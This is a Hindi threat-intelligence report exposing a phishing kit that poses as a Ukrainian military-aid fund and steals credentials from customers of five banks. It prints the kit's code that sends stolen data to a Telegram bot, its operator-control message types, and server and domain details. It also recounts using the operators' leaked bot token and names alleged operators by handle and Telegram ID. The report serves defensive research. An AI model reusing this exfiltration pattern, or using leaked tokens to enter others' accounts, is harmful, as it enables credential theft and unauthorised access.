सैन्य सहायता फ़िशिंग नेटवर्क बेनकाब: 5 बैंकों को निशाना बनाया गया, ऑपरेटरों की पहचान हुई

फिशडिस्ट्रॉय ने क्या पाया

20 मार्च, 2026 को, PhishDestroy की स्वचालित खतरे का पता लगाने वाली Pipeline ने झंडा लगाया। dopomogvoina[.]sbs — एक ताज़ा पंजीकृत डोमेन जो किसी की नकल करते हुए एक फ़िशिंग साइट होस्ट कर रहा है संरक्षक का ढाल (रक्षक की ढाल), एक बनावटी यूक्रेनी सैन्य सहायता फाउंडेशन। यह साइट यूक्रेनी सैन्य पूर्व सैनिकों, युद्ध में घायल हुए लोगों और शहीद सैनिकों के परिवारों को लक्षित करती है, सरकारी वित्तीय सहायता का वादा करते हुए यूक्रेन के पाँच सबसे बड़े बैंकों के बैंकिंग क्रेडेंशियल चुराती है।

नीचे हमारे स्वचालित विश्लेषण द्वारा उजागर की गई हर चीज़ का पूरा विवरण दिया गया है: सोशल इंजीनियरिंग, तकनीकी अवसंरचना, रीयल-टाइम ऑपरेटर नियंत्रण प्रणाली, और इसे चलाने वाले लोगों की पहचान।

अनुभाग 1: चारा — नकली सैन्य सहायता फाउंडेशन

डोमेन dopomogvoina[.]sbs 20 मार्च, 2026 को के माध्यम से पंजीकृत किया गया था नाइसनिक इंटरनेशनल ग्रुप कंपनी लिमिटेड, एक रजिस्ट्रार जिसका धीमी या अनुपस्थित दुरुपयोग प्रतिक्रिया का अच्छी तरह से प्रलेखित इतिहास है। .sbs TLD (साइड-बाय-साइड) एक कम लागत वाला gTLD है, जिसका अक्सर एक बार उपयोग होने वाले फ़िशिंग बुनियादी ढांचे के लिए दुरुपयोग किया जाता है।

यह साइट खुद को एक पेशेवर, सरकार-सम्बद्ध सहायता पोर्टल के रूप में प्रस्तुत करती है। हेडर में यूक्रेनी ध्वज भरा हुआ है, सैन्य छवियाँ प्रामाणिकता प्रदान करती हैं, और पृष्ठ यूक्रेनी भाषा में सावधानीपूर्वक लिखा गया है, जिसमें नौकरशाही शब्दावली का उपयोग किया गया है जो वैध सरकारी कार्यक्रमों की नकल करती है।

स्क्रीनशॉट 5 — फिशिंग साइट का लैंडिंग पेज जो "Щит Захисника" (रक्षक का ढाल) का भेष धारण कर रहा है।

विश्वसनीयता बनाने के लिए, ऑपरेटरों ने लैंडिंग पेज पर प्रमुखता से प्रदर्शित एक आँकड़ा काउंटर गढ़ा:

• २,८४७ आवेदन — यह दर्शाता है कि हजारों को पहले ही सहायता मिल चुकी है
• ₴47.2M वितरित — UAH में एक बड़ा लेकिन विश्वसनीय आँकड़ा
• 19 कार्यक्रम — एक व्यापक, बहु-कार्यक्रम संचालन का सुझाव

ये नंबर पूरी तरह से बनावटी हैं, पेज सोर्स में बिना किसी बैकएंड कनेक्शन के हार्ड-कोड किए गए हैं। इनका एक ही उद्देश्य है: पीड़ित की हिचकिचाहट को दरकिनार करने के लिए सामाजिक प्रमाण।

अनुभाग 2: जाल — 5 बैंक, एक लक्ष्य

"Подати заявку" (Submit Application) पर क्लिक करने के बाद, पीड़ित को बैंक चयन स्क्रीन दिखाई जाती है। यूक्रेन के पांच सबसे बड़े खुदरा बैंक विकल्प के रूप में दिखाई देते हैं, प्रत्येक अपनी आधिकारिक ब्रांडिंग और लोगो के साथ। यहीं पर सोशल इंजीनियरिंग भावनात्मक हेरफेर से तकनीकी चोरी में बदल जाती है।

स्क्रीनशॉट 6 — बैंक चयन स्क्रीन। प्रत्येक विकल्प एक कस्टम प्रमाण-पत्र चोरी अनुक्रम की ओर ले जाता है।

साइट के जावास्क्रिप्ट बंडल के विश्लेषण से पता चला कि प्रत्येक बैंक के पास एक है अद्वितीय बहु-चरणीय प्रमाण-पत्र संग्रहण अनुक्रम, उस बैंक के वास्तविक प्रमाणीकरण प्रवाह से मेल खाने के लिए तैयार किया गया:

हर बैंक के लिए अटैक फ्लो एक ही पैटर्न का अनुसरण करता है:

स्क्रीनशॉट 7 — क्लोन किया गया PrivatBank लॉगिन।

स्क्रीनशॉट 9 — क्लोन किया गया PUMB लॉगिन।

स्क्रीनशॉट 10 — पूरा हमला प्रवाह: नकली सैन्य सहायता पृष्ठ से बैंक चयन के माध्यम से प्रमाण-पत्र चोरी और खाते पर कब्ज़ा।

टेक स्टैक: रिएक्ट एसपीए फ्रंट एंड द्वारा प्रदान किया गया क्लाउडफ्लेयर सीडीएन, के साथ एक्सप्रेस.जेएस बैकएंड क्रेडेंशियल लीक को संभालता है। React आर्किटेक्चर सहज बहु-चरणीय फॉर्म की अनुमति देता है जो वैध बैंकिंग इंटरफेस से अप्रभेद्य लगते हैं।

अनुभाग 3: वास्तविक-समय ऑपरेटर नियंत्रण

यह एक साधारण क्रेडेंशियल हार्वेस्टर नहीं है जिसमें एक स्थिर डेटाबेस हो। फ़िशिंग किट में एक शामिल है। लाइव वेबसॉकेट नियंत्रण पैनल जो एक मानवीय ऑपरेटर को प्रत्येक पीड़ित सत्र को वास्तविक समय में नियंत्रित करने की अनुमति देता है।

पर वेबसॉकेट एंडपॉइंट wss://dopomogvoina[.]sbs/ws निम्नलिखित संदेश प्रकारों का समर्थन करता है:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

यह वास्तविक-समय नियंत्रण का अर्थ है कि ऑपरेटर कर सकता है:

• प्रतीक्षा स्थिति लागू करें — जब वे पीड़ित के असली बैंक खाते में लॉग इन करते हैं, तब "आपका आवेदन संसाधित हो रहा है..." प्रदर्शित करें।
• किसी विशिष्ट चरण पर पुनर्निर्देशित करें — यदि पहला SMS कोड समाप्त हो गया हो तो उसे फिर से अनुरोध करें
• नकली त्रुटि संदेश दिखाएँ — "अमान्य कोड, कृपया पुनः दर्ज करें" कई 2FA टोकन प्राप्त करने के लिए
• कस्टम प्रश्न पूछें — सत्र के बीच जन्मतिथि, कार्ड नंबर, या कोई अतिरिक्त डेटा अनुरोध करना

स्क्रीनशॉट 8 — प्रमाण-पत्र चोरी शुरू करने के लिए उपयोग किया जाने वाला फोन नंबर प्रविष्टि फॉर्म।

स्क्रीनशॉट 11 — ऑपरेटर का वास्तविक समय का बॉट पैनल, जो पीड़ित सत्रों को नियंत्रित करता है।

प्रति सत्र चोरी किए गए डेटा की पूरी श्रृंखला: phone, password, PIN, SMS code, card number, date of birth, और email.

अनुभाग 4: क्लाउडफ्लेयर के पीछे — दो परियोजनाएँ, एक सर्वर

Cloudflare प्रॉक्सीिंग मूल सर्वर को छिपाती है, लेकिन PhishDestroy की इन्फ्रास्ट्रक्चर विश्लेषण Pipeline ने वास्तविक मूल IP पता लगाया: 45.131.214[.]148, की मेजबानी में रैपिडसीडबॉक्स / लीजवेब नीदरलैंड में

एक महत्वपूर्ण विवरण: dopomogvoina[.]sbs के माध्यम से प्रॉक्सी किया जाता है क्लाउडफ्लेयर, अपनी मूल आईपी छिपाते हुए। लेकिन हमारी प्रणाली भी ट्रैक करती है hlpforvpeople[.]sbs — एक संबंधित डोमेन जो उसी NICENIC रजिस्ट्रार के माध्यम से पंजीकृत है और जिसमें मेल खाने वाले पैटर्न हैं। वह डोमेन है क्लाउडफ्लेयर के पीछे नहीं, अपनी मूल आईपी को सीधे प्रकट करते हुए: 45.131.214[.]148.

इस आईपी से सीधे कनेक्ट करना — बिना एक Host शीर्षक — ने कुछ अप्रत्याशित प्रकट किया: एक पूरी तरह से अलग फ़िशिंग साइट. यूक्रेनी सैन्य सहायता के बजाय, डिफ़ॉल्ट vhost परोसा गया स्वास्थ्य देखभाल आईडी, एक इंडोनेशियाई स्वास्थ्य बीमा फ़िशिंग अभियान। वही सर्वर, पूरी तरह से अलग पीड़ित, पूरी तरह से अलग देश।

स्क्रीनशॉट 12 — दो समानांतर फ़िशिंग अभियान जो एक ही ओरिजिन सर्वर साझा कर रहे हैं: यूक्रेनी सैन्य सहायता (dopomogvoina) और इंडोनेशियाई स्वास्थ्य बीमा (HealthCare ID)।

इंडोनेशियाई फ़िशिंग टेम्पलेट एक है PhishDestroy के थ्रेट इंटेलिजेंस डेटाबेस में ट्रैक की गई ज्ञात किटहमने इस बिल्कुल समान टेम्पलेट के विभिन्न संस्करण पूरे दक्षिण-पूर्व एशिया में तैनात होते देखे हैं — जो इंडोनेशियाई, थाई और वियतनामी वित्तीय संस्थानों को निशाना बनाते हैं। ऑपरेटर बस देश-विशिष्ट टेम्पलेट्स को बदलते हैं, जबकि वही बैकएंड इंफ्रास्ट्रक्चर पुन: उपयोग करते हैं।

अनुभाग 5: वह config.json जिसने सब कुछ उजागर कर दिया

यहाँ बताया गया है कि कैसे एक ही गलत कॉन्फ़िगर की गई फ़ाइल ने पूरे ऑपरेशन को चरण-दर-चरण बिखेर दिया।

मूल सर्वर की दूसरी परियोजना, PhishDestroy की पहचान करने के बाद जेएस एनालाइज़र — हमारा स्वचालित जावास्क्रिप्ट इंटेलिजेंस टूल — इंडोनेशियाई फ़िशिंग साइट के बंडल पर निर्देशित किया गया था https://45.131.214[.]148/assets/index-ZMQxHb_h.js. एनालाइज़र ने 335KB की जावास्क्रिप्ट फ़ाइल से सभी API एंडपॉइंट्स, बाहरी URLs और कॉन्फ़िगरेशन पथ निकाल लिए। निष्कर्षों में शामिल हैं:

• पर पाँच एपीआई एंडपॉइंट्स rezervtemka[.]cc — प्रमाण-पत्र सत्यापन के लिए C2 पैनल
• के लिए एक वेबसॉकेट कनेक्शन wss://rezervtemka[.]cc
• पीड़ित ट्रैकिंग के लिए फेसबुक पिक्सेल एकीकरण
• की ओर एक संदर्भ /config.json — टेलीग्राम बॉट कॉन्फ़िगरेशन के लिए रनटाइम पर लोड किया गया

इस सुराग का अनुसरण करते हुए, हमने प्राप्त किया। /config.json मूल IP से। फ़ाइल बिना किसी प्रमाणीकरण के सुलभ थी — वेबरूट में स्थित, जिसे कोई भी पढ़ सकता था:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

द /config.json फ़ाइल सीधे मूल आईपी से सुलभ थी — कोई प्रमाणीकरण नहीं, कोई पहुँच नियंत्रण नहीं, बस वेबरूट में रखी एक साधारण JSON फ़ाइल।:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

एक टेलीग्राम बॉट टोकन उपयोगकर्ता नाम और पासवर्ड दोनों होता है। जिसके पास यह टोकन है, वह उस बॉट के रूप में API कॉल कर सकता है। ऑपरेटरों ने अपना टोकन सार्वजनिक रूप से सुलभ एक फ़ाइल में छोड़ दिया था। छह एपीआई कॉल के बाद, हमारे पास सब कुछ था:

स्क्रीनशॉट 13 — पूरी OSINT श्रृंखला: उजागर config.json से 6 API कॉल में पूर्ण ऑपरेटर पहचान तक।

एक ही गलत कॉन्फ़िगर की गई फ़ाइल से छह HTTP अनुरोधों में ऑपरेटर की पूरी पहचान। कोई एक्सप्लॉइट नहीं, कोई अनधिकृत पहुँच नहीं — बस मानक Telegram Bot API कॉल, जिसमें ऑपरेटरों ने स्वयं टोकन सार्वजनिक छोड़ दिया था।

अनुभाग 6: ऑपरेटर

स्क्रीनशॉट 14 — लीक हुए बॉट टोकन के माध्यम से उजागर "Idr card" टेलीग्राम ऑपरेटर समूह।

मालिक / निर्माता

मोनेटी एस्कोबार

@monettiescobar

टेलीग्राम आईडी: 8135223234

टेलीग्राम प्रीमियम, व्यवसाय प्रोफ़ाइल

समय क्षेत्र: UTC+3 (CIS क्षेत्र)

10 सार्वजनिक संदेश — सख्त ओपीएसईसी

ट्राफीक चैटमेडुसा गूगल विज्ञापनडीपफेक चैनल

ऑपरेटर / यातायात

बोन्‍या

@BoaCC159

टेलीग्राम आईडी: 6242202706

उपनाम: पापाज़ाकोनवोर, बोआ, बुबुलिक्क

12 समूहों में 261 संदेश

डीसी2 — एम्स्टर्डम, नीदरलैंड

क्रिप्टोग्रैबस्टिक्स मार्केटरेवन सीसीएम्पायर चैटफीनिक्स समाधान

डेवलपर / कोडर

देवॉयस

@देवसस

टेलीग्राम आईडी: 8213612730

फ़िशिंग किट डेवलपर — ऑपरेटर उसे कोडर कहकर संबोधित करते हैं।

जब उल्लंघन का पता चला तो "रक्षा के बारे में सोचने" के लिए कहा गया।

डिज़ाइन द्वारा न्यूनतम सार्वजनिक पदचिह्न

संभालें @devosus ≈ "dev ops us" — यूज़रनेम के रूप में नौकरी का शीर्षक

किट डेवलपरअवसंरचनासुरक्षा

मोनेटी एस्कोबार — द बॉस

मॉनेटी सख्त परिचालन सुरक्षा बनाए रखता है — केवल 10 सार्वजनिक संदेश 2 समूहों में। लेकिन समूह ही कहानी कहते हैं: ट्राफीक चैट (धोखाधड़ी के लिए ट्रैफ़िक आर्बिट्रेज), मेडुसा गूगल विज्ञापन (ब्लैक-हैट गूगल विज्ञापन), और एक डीपफेक चैनल. उनके टेलीग्राम व्यवसाय प्रोफ़ाइल में "Есть предложение" (मेरे पास एक प्रस्ताव है) — खुले तौर पर सेवाओं का विज्ञापन। UTC+3 समय क्षेत्र (जो मॉस्को/मिन्स्क/कीव के अनुरूप है) और 24/7 व्यावसायिक घंटे यह पुष्टि करते हैं कि CIS-आधारित संचालन चौबीसों घंटे चल रहा है।

बोन्‍या — लापरवाह

MONETTI की सावधानीपूर्वक OPSEC के विपरीत, बोन्या (पूर्व उपनाम: पापाज़ाकोनवोर — मोटे तौर पर "पिताचोरकानूननुसार") ने एक विशाल डिजिटल निशान छोड़ा — 12 भूमिगत समूहों में 261 संदेशउसकी चैट हिस्ट्री एक अपराधी की सीवी की तरह दिखती है:

उनकी समूह सदस्यताएँ एक संपूर्ण चित्र प्रस्तुत करती हैं: क्रिप्टोग्रैब (क्रिप्टो वॉलेट खाली करने वाले), स्टिक्स मार्केट (चोरी किए गए डेटा के लिए भूमिगत बाज़ार), रेवन सीसी चेकर (क्रेडिट कार्ड सत्यापन उपकरण), एम्पायर चैट और फीनिक्स समाधान (धोखाधड़ी समन्वय)। यह कोई एकबारगी अपराधी नहीं है — यह साइबर अपराध पारिस्थितिकी तंत्र में गहराई से जुड़ा हुआ व्यक्ति है।

देवॉयस — द डेवलपर

इस ऑपरेशन की तकनीकी रीढ़। डिज़ाइन के अनुसार न्यूनतम सार्वजनिक पदचिह्न — जब समूह में सेंध लगी, तो बोन्या ने स्पष्ट रूप से उसी को बुलाया: @devosus, जब तक हमारी पिटाई नहीं हो जाती, सुरक्षा के बारे में सोचो। — @devosus, हमारी पिटाई होने से पहले रक्षा के बारे में सोचो। उसने इस उल्लंघन पर व्यंग्यात्मक प्रतिक्रिया दी — जब इंटरपोल में (कब इंटरपोल करें) — यह बताता है कि यह उनका पहला बाल-बाल बचने का अनुभव नहीं है।

व्यवहारिक विश्लेषण: 261 संदेश डिकोड किए गए

PhishDestroy की OSINT Pipeline ने एकत्रित और अनुवादित किया। सभी 261 सार्वजनिक संदेश बोन्या से 12 भूमिगत टेलीग्राम समूहों में (जून 2024 — मार्च 2026)। मैन्युअल संदर्भ सुधार के साथ DeepL API के माध्यम से मशीन अनुवाद। ये संदेश एक संपूर्ण परिचालन प्रोफ़ाइल प्रकट करते हैं — नीचे अपराध गतिविधि के प्रकार के अनुसार वर्गीकृत।

बैंकिंग धोखाधड़ी और फ़िशिंग

मनी म्यूल्स और कैश-आउट

ट्रैफ़िक धोखाधड़ी और विज्ञापन दुरुपयोग

मोनेटी एस्कोबार: द साइलेंट बॉस

बोन्या के 261 संदेशों के बिल्कुल विपरीत, मोनेटी के पास केवल 10 सार्वजनिक संदेश — सब कुछ एक ही थ्रेड में ट्राफीक चैट (ब्लैक ADS/SEO ट्रैफ़िक आर्बिट्रेज), एक सहकर्मी का बचाव करते हुए:

MONETTI के टेलीग्राम समूह बाकी सब कुछ बताते हैं: मेडुसा गूगल विज्ञापन (ब्लैक-हैट पीपीसी धोखाधड़ी), एक डीपफेक चैनल (धोखाधड़ी के लिए कृत्रिम माध्यम), और मार्लबोरो चैट (निजी, अज्ञात)। टेलीग्राम प्रीमियम सदस्यता, 24/7 व्यावसायिक घंटे, और "Есть предложение" (मेरे पास एक प्रस्ताव है) व्यावसायिक जीवनी इस तरह चित्रित करें कि ऐसा लगे कि कोई व्यक्ति साइबर अपराध को एक पूर्णकालिक उद्यम के रूप में चला रहा हो।

स्क्रीनशॉट 2 — मोनेत्ती का टेलीग्राम प्रोफ़ाइल।

स्क्रीनशॉट 3 — बॉन्या की प्रोफ़ाइल। ध्यान दें DC2 (एम्स्टर्डम)।

अनुभाग 7: द पैनिक रूम

PhishDestroy ने उजागर टेलीग्राम बॉट के माध्यम से ऑपरेटर समूह तक पहुँचने के बाद निम्नलिखित संवाद हुआ। नीचे दिए गए चैट लॉग का अंग्रेज़ी में अनुवाद किया गया है, जिसमें मूल रूसी पाठ को इटैलिक में संरक्षित रखा गया है। पहुँच के लिए उपयोग की गई पहचान को हटा दिया गया है।

समूह कुछ ही मिनटों में हटा दिया गया। बॉन्या की विदाई स्वीकृति — "+" — और देवॉयस की पुष्टि "हाँ" पूरी कहानी कह देती है: वे जानते थे कि वे बेनकाब हो चुके थे, और उनका एकमात्र रास्ता सबूतों को नष्ट करना था। लेकिन तब तक डेटा पहले ही कैप्चर हो चुका था।

बोन्या की खुलासा करने वाली टिप्पणी पर ध्यान दें: हम पर भी यूक्रेनी बॉट से हमला हुआ। — यह पुष्टि करते हुए कि दोनों परियोजनाएँ (यूक्रेनी + इंडोनेशियाई) एक ही ऑपरेटर टीम साझा करती हैं, और यह पहली बार नहीं था जब उनकी बुनियादी ढांचे से छेड़छाड़ की गई थी।

अनुभाग 8: यह क्या दर्शाता है

जांच समयरेखा

संबंधित डोमेन

हमारे विश्लेषण ने एक दूसरे डोमेन की पहचान की — hlpforvpeople[.]sbs — समान अवसंरचना पैटर्न वाले उसी रजिस्ट्रार के माध्यम से पंजीकृत। दोनों डोमेन हमारे डेटाबेस में प्रलेखित हैं:

• फिशडिस्ट्रॉय रिपोर्ट: डोपोमोग्वोइना[.]एसबीएस
• PhishDestroy रिपोर्ट: hlpforvpeople[.]sbs

मुख्य बिंदु

• गति बनाए रखने का एकमात्र तरीका स्वचालन है। फ़िशिंग किट कुछ ही घंटों में तैनात और हथियारबद्ध कर दी जाती हैं। मैन्युअल समीक्षा इस गति से मेल नहीं खा सकती।
• ऑपरेटर गलतियाँ करते हैं। एक द्वितीयक परियोजना पर सार्वजनिक रूप से उपलब्ध कॉन्फ़िगरेशन फ़ाइल ने एक पूरे बहुराष्ट्रीय फ़िशिंग अभियान का पर्दाफाश कर दिया। हर परियोजना में उत्तम ओपीएसईसी बनाए रखना कठिन है।
• सामाजिक इंजीनियरिंग समाचार चक्र के साथ विकसित होती है। युद्ध, मानवीय सहायता और सरकारी कार्यक्रमों का फ़िशिंग चारा के लिए बढ़ती हुई दर से दुरुपयोग किया जा रहा है, क्योंकि ये संकटग्रस्त लोगों को लक्षित करते हैं जो वैधता पर सवाल उठाने की संभावना कम रखते हैं।
• इन्फ्रास्ट्रक्चर का पुन: उपयोग सामान्य है। एक सर्वर, दो फ़िशिंग प्रोजेक्ट, दो देश, वही ऑपरेटर। इन्फ्रास्ट्रक्चर कनेक्शनों का मानचित्रण अलग-थलग एक डोमेन का विश्लेषण करने से कहीं अधिक जानकारी उजागर करता है।

अस्वीकरण: यह जांच पूरी तरह से निष्क्रिय टोही और सार्वजनिक एपीआई के माध्यम से की गई थी। किसी भी सिस्टम तक कोई अनधिकृत पहुँच नहीं की गई। टेलीग्राम बॉट एपीआई कॉल में एक टोकन का उपयोग किया गया था जिसे ऑपरेटरों ने एक अप्रमाणित एंडपॉइंट में सार्वजनिक रूप से उजागर किया था। इस लेख में सभी डोमेन नामों को मानक सूचना सुरक्षा (InfoSec) परंपरा के अनुसार निष्क्रिय कर दिया गया है।